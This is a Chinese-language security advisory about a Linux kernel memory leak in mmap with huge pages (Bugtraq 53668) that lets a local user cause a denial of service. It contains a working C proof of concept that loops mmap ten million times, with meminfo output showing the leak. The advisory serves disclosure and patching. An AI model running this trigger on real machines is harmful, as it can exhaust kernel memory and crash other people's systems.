Linux Kernel 'mmap()'失败本地拒绝服务漏洞

发布日期:2012-05-23
更新日期:2012-05-24

受影响系统:
Linux kernel 2.6.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 53668

Linux Kernel是Linux操作系统的内核。

Linux Kernel 2.6.32和3.4-rc6在调用mmap映射巨页时存在内存泄露错误导致的本地拒绝服务漏洞,通过运行下列代码,32字节的kmalloc缓存会增长10 mio条目,未授权的本地攻击者可利用此漏洞触发内核崩溃。

<*来源:Christoph Lameter
 
  链接:
        https://lkml.org/lkml/2012/5/21/385
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

执行如下操作可能导致异常:
--------
#include <sys/mman.h>
#include <stdlib.h>

#ifndef MAP_HUGETLB
#define MAP_HUGETLB 0x0040000
#endif

int main() {
    for (int i=0; i!=10000000; ++i) {
        void* ptr=mmap(NULL, 2*1024*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_HUGETLB, 0, 0);
        if (ptr!=MAP_FAILED) abort();
    }
    return 0;
}

-------


g++ -O2 test.cpp && echo good
good

$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim:      1900756 kB
HugePages_Total:       0

$ ./a.out && echo good
good

$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim:      2213268 kB
HugePages_Total:       0

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwzwjy.html